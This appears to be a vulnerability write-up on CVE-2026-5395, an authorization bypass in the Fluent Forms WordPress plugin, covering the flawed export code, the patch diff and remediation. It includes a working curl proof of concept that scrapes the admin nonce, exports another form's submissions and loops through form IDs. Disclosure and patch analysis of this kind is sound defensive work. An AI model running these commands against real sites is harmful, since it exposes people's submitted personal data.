Fluent Forms WordPress plugin banner

CVE-2026-5395: Fluent Forms <= 6.2.0 IDOR Exposes Form Entries (CVSS 8.2)

CVE-2026-5395 is a CVSS 8.2 High severity Authorization Bypass vulnerability in the Fluent Forms WordPress plugin. An authenticated attacker with Fluent Forms entries viewer access can bypass per-form access restrictions and export submissions from any form on the site — including forms they are not authorized to view.

Vulnerability Summary

FieldValue
Plugin NameFluent Forms
Plugin Slugfluentform
CVE IDCVE-2026-5395
CVSS Score8.2 (High)
Vulnerability TypeInsecure Direct Object Reference (IDOR) / Authorization Bypass
Affected Versions<= 6.2.0
Patched Version6.2.1
PublishedMay 13, 2026
ResearcherSander Horsman - Conda Security
Wordfence AdvisoryLink

Description

Fluent Forms supports per-form access control. An administrator can grant a user access to view entries for specific forms only, not all forms on the site. This feature is designed to let different team members manage different forms in isolation.

In versions up to and including 6.2.0, this per-form access control was not enforced in the entry export function. The exportEntries() function in TransferService.php did not verify that the requesting user had permission to access the specific form’s entries. Any user with the general fluentform_entries_viewer capability could export entries from any form — including forms they were explicitly restricted from accessing.

The vulnerability is an Insecure Direct Object Reference (IDOR). The attacker controls the form_id parameter. Without a form-level authorization check, they can substitute any form ID and receive the corresponding submissions.

A second issue in the same code path allowed the list of queryable database tables to be extended via a WordPress filter hook. By default only fluentform_submissions was in the list, but a malicious plugin could add additional tables using the fluentform/export_allowed_tables filter. The patch removes this filter and hardcodes the allowed tables.

Technical Analysis

How Fluent Forms Registers the Export AJAX Action

The entry export endpoint is a standard WordPress admin AJAX action. In app/Hooks/Ajax.php, the hook is registered like this in version 6.2.0:

$app->addAction('wp_ajax_fluentform-form-entries-export', function () use ($app) {
    Acl::verify('fluentform_entries_viewer');
    (new \FluentForm\App\Modules\Transfer\Transfer())->exportEntries();
});

The Acl::verify('fluentform_entries_viewer') call checks whether the current user has the general entries-viewer capability. It does NOT receive a $formId argument.

When no form ID is passed to Acl::verify(), the underlying Acl::hasPermission() function skips the FormManagerService::hasFormPermission() check entirely. Per-form access restrictions are never evaluated:

public static function hasPermission($permissions, $formId = false)
{
    if ($formId && !FormManagerService::hasFormPermission($formId)) {
        return false; // This check is skipped when $formId is false/null
    }
    // ...general capability check continues
}

The Vulnerable exportEntries() Function

In app/Services/Transfer/TransferService.php (line 141–147), the vulnerable code reads the form_id from user input with no authorization check:

public static function exportEntries($args)
{
    if (!defined('FLUENTFORM_EXPORTING_ENTRIES')) {
        define('FLUENTFORM_EXPORTING_ENTRIES', true);
    }
    $formId = (int)Arr::get($args, 'form_id'); // user-controlled, no form-level auth check
    $tableName = Arr::get($args, 'table');     // user-controlled table parameter
    // ...
}

Any form_id the attacker provides is cast to an integer and accepted. There is no call to Acl::verifyFormId() or Acl::verify('fluentform_entries_viewer', $formId) inside exportEntries().

The table Parameter and Filterable Allowlist

When a table parameter is present, getSubmissions() queries that table directly instead of using the Submission model:

private static function getSubmissions($args)
{
    $tableName = Arr::get($args, 'table');

    if ($tableName) {
        $allowedTables = apply_filters('fluentform/export_allowed_tables', [
            'fluentform_submissions',
        ]);
        if (!in_array($tableName, $allowedTables, true)) {
            wp_send_json(['message' => 'Invalid table name for export.'], 422);
        }
        $query = wpFluent()->table($tableName)
            ->where('form_id', (int) Arr::get($args, 'form_id'))
            // ...
    } else {
        $query = (new Submission)->customQuery($args);
    }
}

Two problems here:

  1. The table name is wrapped in apply_filters(). Any plugin or code can add tables to this list. A malicious plugin could call add_filter('fluentform/export_allowed_tables', fn($t) => array_merge($t, ['wp_users'])) to add the users table.
  2. Even within the fluentform_submissions table path, the missing form-level authorization in exportEntries() means an attacker can query submissions from any form.

Execution Path Summary

POST /wp-admin/admin-ajax.php
  action=fluentform-form-entries-export
  form_id=<any_form_id>           ← attacker-controlled
  fluent_forms_admin_nonce=<nonce>

  wp_ajax_fluentform-form-entries-export
    └── Acl::verify('fluentform_entries_viewer')  ← no $formId, per-form check skipped
    └── Transfer()->exportEntries()
          └── TransferService::exportEntries($args)
                └── $formId = (int)Arr::get($args, 'form_id')  ← no auth check
                └── $tableName = Arr::get($args, 'table')
                └── getSubmissions($args)  ← returns entries from attacker-specified form

Why the Nonce Does Not Prevent This Attack

Acl::verify() calls verifyNonce() first. The nonce (fluent_forms_admin_nonce) is embedded in every Fluent Forms admin page via wp_localize_script. Any user with any Fluent Forms access can retrieve this nonce from the admin page’s JavaScript variables. The nonce proves the request originated from the admin UI, not that the user is authorized for the specific form.

Proof of Concept

Disclaimer: This PoC is provided for educational purposes only. Test only on systems you own or have explicit written authorization to test.

Prerequisites:

Step 1 — Authenticate and get session cookie:

curl -s -c cookies.txt -b cookies.txt \
  "https://target.com/wp-login.php" \
  --data "log=subscriber_user&pwd=subscriber_pass&rememberme=forever&wp-submit=Log+In&testcookie=1" \
  -e "https://target.com/wp-login.php"

Step 2 — Retrieve the Fluent Forms admin nonce:

NONCE=$(curl -s -b cookies.txt \
  "https://target.com/wp-admin/admin.php?page=fluent_forms" \
  | grep -o '"fluent_forms_admin_nonce":"[^"]*"' \
  | cut -d'"' -f4)

echo "Nonce: $NONCE"

Step 3 — Export entries from an unauthorized form (form_id=2):

curl -s -b cookies.txt \
  "https://target.com/wp-admin/admin-ajax.php" \
  --data "action=fluentform-form-entries-export&form_id=2&format=csv&fluent_forms_admin_nonce=${NONCE}" \
  -o stolen_entries_form2.csv

echo "Exported rows: $(wc -l < stolen_entries_form2.csv)"

Expected result: The server responds with a CSV file containing all submissions from Form #2, even though the attacker only has explicit access to Form #1.

Step 4 — Enumerate other forms:

for FORM_ID in $(seq 1 20); do
  ROW_COUNT=$(curl -s -b cookies.txt \
    "https://target.com/wp-admin/admin-ajax.php" \
    --data "action=fluentform-form-entries-export&form_id=${FORM_ID}&format=csv&fluent_forms_admin_nonce=${NONCE}" \
    | wc -l)
  echo "Form $FORM_ID: $ROW_COUNT rows"
done

Patch Analysis

The fix in version 6.2.1 adds two authorization calls at the top of exportEntries() in app/Services/Transfer/TransferService.php:

-        $formId = (int)Arr::get($args, 'form_id');
+
+        $formId = Acl::verifyFormId(Arr::get($args, 'form_id'));
+        Acl::verify('fluentform_entries_viewer', $formId);
+

Acl::verifyFormId() validates that the form_id is a legitimate integer and exists. Acl::verify('fluentform_entries_viewer', $formId) passes the form ID to the permission check. This triggers FormManagerService::hasFormPermission($formId), which verifies that the current user’s allowed form list includes the requested form.

The second change removes the filterable allowlist for export tables:

-            $allowedTables = apply_filters('fluentform/export_allowed_tables', [
+            $allowedTables = [
                 'fluentform_submissions',
-            ]);
+                'fluentform_draft_submissions',
+            ];

The hardcoded list also adds fluentform_draft_submissions as a legitimate table for draft submission exports, while removing the filter hook that allowed external code to inject arbitrary table names.

The AJAX hook in Ajax.php also gets updated to validate and normalize the form ID before passing it into the handler:

 $app->addAction('wp_ajax_fluentform-form-entries-export', function () use ($app) {
-    Acl::verify('fluentform_entries_viewer');
+    $formId = Acl::verifyFormId($app->request->get('form_id'));
+
+    Acl::verify('fluentform_entries_viewer', $formId);
     (new \FluentForm\App\Modules\Transfer\Transfer())->exportEntries();
 });

Timeline

DateEvent
May 13, 2026Wordfence advisory published
May 13, 2026Version 6.2.1 released with fix
May 14, 2026This post published

Remediation

Update Fluent Forms to version 6.2.1 or later. You can update from:

After updating, verify you are running at least version 6.2.1 from Plugins → Installed Plugins.

References

  1. Wordfence Advisory — CVE-2026-5395
  2. CVE-2026-5395 on cve.org
  3. Patch changeset on plugins.trac.wordpress.org
  4. Fluent Forms on wordpress.org

Frequently Asked Questions

What is CVE-2026-5395?

CVE-2026-5395 is a CVSS 8.2 High severity Authorization Bypass (IDOR) vulnerability in the Fluent Forms WordPress plugin. Authenticated users with Fluent Forms entries viewer access can export submissions from any form, even forms they are not authorized to access.

Which versions of Fluent Forms are affected by CVE-2026-5395?

All versions up to and including 6.2.0 are affected. Version 6.2.1 contains the fix.

What can an attacker do with CVE-2026-5395?

An attacker can export submission data from any Fluent Forms form on the site, bypassing per-form access restrictions. This exposes sensitive data like contact details, survey responses, and other user-submitted information.

Does an attacker need to be logged in to exploit CVE-2026-5395?

Yes. The attacker must have a WordPress account with Fluent Forms entries viewer access. A site administrator must have granted this capability to the attacker's account.

How do I fix CVE-2026-5395 in Fluent Forms?

Update Fluent Forms to version 6.2.1 or later from the WordPress admin dashboard or wordpress.org.

Has Fluent Forms been patched for CVE-2026-5395?

Yes. Version 6.2.1 was released on May 13, 2026 and resolves this vulnerability by adding proper form-level authorization checks to the entry export function.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee